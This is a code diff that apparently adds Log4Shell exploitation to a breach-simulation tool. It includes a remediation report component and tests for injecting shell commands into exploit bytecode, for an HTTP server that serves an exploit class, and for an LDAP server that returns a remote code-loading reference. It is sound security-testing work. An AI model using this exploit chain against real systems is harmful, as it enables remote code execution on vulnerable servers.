||||
|
||||
class Log4ShellProcessor:
|
||||
@staticmethod
|
||||
def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo:
|
||||
ip_addr = exploit_dict["data"]["machine"]["ip_addr"]
|
||||
machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr))
|
||||
port = exploit_dict["data"]["info"]["vulnerable_service"]["port"]
|
||||
service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"]
|
||||
return ExploiterReportInfo(
|
||||
ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service
|
||||
)
|
|
@ -1,6 +1,6 @@
|
|||
{
|
||||
"name": "infection-monkey",
|
||||
"version": "1.11.0",
|
||||
"version": "1.13.0",
|
||||
"lockfileVersion": 1,
|
||||
"requires": true,
|
||||
"dependencies": {
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
{
|
||||
"private": true,
|
||||
"version": "1.12.0",
|
||||
"version": "1.13.0",
|
||||
"name": "infection-monkey",
|
||||
"description": "Infection Monkey C&C UI",
|
||||
"scripts": {
|
||||
|
|
|
@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs
|
|||
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
|
||||
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
|
||||
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
|
||||
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
|
||||
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
|
||||
import {
|
||||
crossSegmentIssueOverview,
|
||||
|
@ -145,6 +146,11 @@ class ReportPageComponent extends AuthComponent {
|
|||
[this.issueContentTypes.REPORT]: zerologonIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'Log4ShellExploiter': {
|
||||
[this.issueContentTypes.OVERVIEW]: log4shellIssueOverview,
|
||||
[this.issueContentTypes.REPORT]: log4shellIssueReport,
|
||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||
},
|
||||
'zerologon_pass_restore_failed': {
|
||||
[this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning
|
||||
},
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
import React from 'react';
|
||||
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||
import {Button} from 'react-bootstrap';
|
||||
|
||||
export function log4shellIssueOverview() {
|
||||
return (<li>Some servers are vulnerable to the Log4Shell remote code execution exploit.</li>)
|
||||
}
|
||||
|
||||
export function log4shellIssueReport(issue) {
|
||||
return (
|
||||
<>
|
||||
Upgrade the Apache Log4j component to version 2.15.0 or later.
|
||||
<CollapsibleWellComponent>
|
||||
The {issue.service} server <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}</span>) is vulnerable to <span
|
||||
className="badge badge-danger">the Log4Shell remote code execution</span> attack.
|
||||
<br/>
|
||||
The attack was made possible due to an old version of Apache Log4j component (
|
||||
<Button
|
||||
variant={'link'}
|
||||
href='https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228'
|
||||
target={'_blank'}
|
||||
className={'security-report-link'}
|
||||
>
|
||||
CVE-2021-44228
|
||||
</Button>).
|
||||
</CollapsibleWellComponent>
|
||||
</>
|
||||
);
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,5 @@
|
|||
public class SourceCode {
|
||||
static {
|
||||
System.out.println("Hello World!");
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
import pytest
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
InvalidExploitTemplateError,
|
||||
build_exploit_bytecode,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def payload():
|
||||
return "bash -c 'touch /tmp/exploit-test'"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def invalid_templates_dir(data_for_tests_dir):
|
||||
return data_for_tests_dir / "invalid_log4j_bytecode_templates"
|
||||
|
||||
|
||||
def test_inject_command(payload):
|
||||
expected_bytecode = b"\x21" + payload.encode() + b"\x0c"
|
||||
|
||||
exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||
assert expected_bytecode in exploit_bytecode
|
||||
|
||||
|
||||
def test_missing_injection_tag(invalid_templates_dir, payload):
|
||||
with pytest.raises(InvalidExploitTemplateError):
|
||||
build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class")
|
||||
|
||||
|
||||
def test_uncompiled_java_class(invalid_templates_dir, payload):
|
||||
with pytest.raises(InvalidExploitTemplateError):
|
||||
build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java")
|
|
@ -0,0 +1,54 @@
|
|||
import pytest
|
||||
import requests
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def ip():
|
||||
return "127.0.0.1"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def port():
|
||||
return get_free_tcp_port()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def java_class():
|
||||
return b"\xde\xad\xbe\xef"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def server(ip, port, java_class):
|
||||
server = ExploitClassHTTPServer(ip, port, java_class, 0.01)
|
||||
server.run()
|
||||
|
||||
yield server
|
||||
|
||||
server.stop()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def exploit_url(ip, port):
|
||||
return f"http://{ip}:{port}/Exploit"
|
||||
|
||||
|
||||
@pytest.mark.usefixtures("server")
|
||||
def test_only_single_download_allowed(exploit_url, java_class):
|
||||
response_1 = requests.get(exploit_url)
|
||||
assert response_1.status_code == 200
|
||||
assert response_1.content == java_class
|
||||
|
||||
response_2 = requests.get(exploit_url)
|
||||
assert response_2.status_code == 429
|
||||
assert response_2.content != java_class
|
||||
|
||||
|
||||
def test_exploit_class_downloded(server, exploit_url):
|
||||
assert not server.exploit_class_downloaded()
|
||||
|
||||
requests.get(exploit_url)
|
||||
|
||||
assert server.exploit_class_downloaded()
|
|
@ -0,0 +1,35 @@
|
|||
import pytest
|
||||
from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server
|
||||
|
||||
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer
|
||||
from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
||||
|
||||
@pytest.mark.slow
|
||||
def test_ldap_server(tmp_path):
|
||||
http_ip = "172.10.20.30"
|
||||
http_port = 9999
|
||||
ldap_port = get_free_tcp_port()
|
||||
|
||||
ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path)
|
||||
ldap_server.run()
|
||||
|
||||
server = Server(host="127.0.0.1", port=ldap_port)
|
||||
conn = Connection(server, auto_bind=True)
|
||||
conn.search(
|
||||
search_base=EXPLOIT_RDN,
|
||||
search_filter="(objectClass=*)",
|
||||
search_scope=BASE,
|
||||
attributes=ALL_ATTRIBUTES,
|
||||
)
|
||||
|
||||
assert len(conn.response) == 1
|
||||
attributes = conn.response[0]["attributes"]
|
||||
|
||||
assert attributes.get("objectClass", None) == ["javaNamingReference"]
|
||||
assert attributes.get("javaClassName", None) == ["Exploit"]
|
||||
assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"]
|
||||
assert attributes.get("javaFactory", None) == ["Exploit"]
|
||||
|
||||
ldap_server.stop()
|
|
@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real
|
|||
dead or is kept deliberately. Referencing these in a file like this makes sure that
|
||||
Vulture doesn't mark these as dead again.
|
||||
"""
|
||||
from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory
|
||||
from monkey_island.cc.models import Report
|
||||
|
||||
fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37)
|
||||
|
@ -64,6 +65,7 @@ HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_proc
|
|||
MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44)
|
||||
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
|
||||
POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52)
|
||||
ExploiterDescriptorEnum.LOG4SHELL
|
||||
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
|
||||
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
|
||||
internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
|
||||
|
@ -178,6 +180,7 @@ Report.recommendations
|
|||
Report.glance
|
||||
Report.meta_info
|
||||
Report.meta
|
||||
LDAPServerFactory.buildProtocol
|
||||
|
||||
# these are not needed for it to work, but may be useful extra information to understand what's going on
|
||||
WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)
|
||||
|
|
Loading…
Reference in New Issue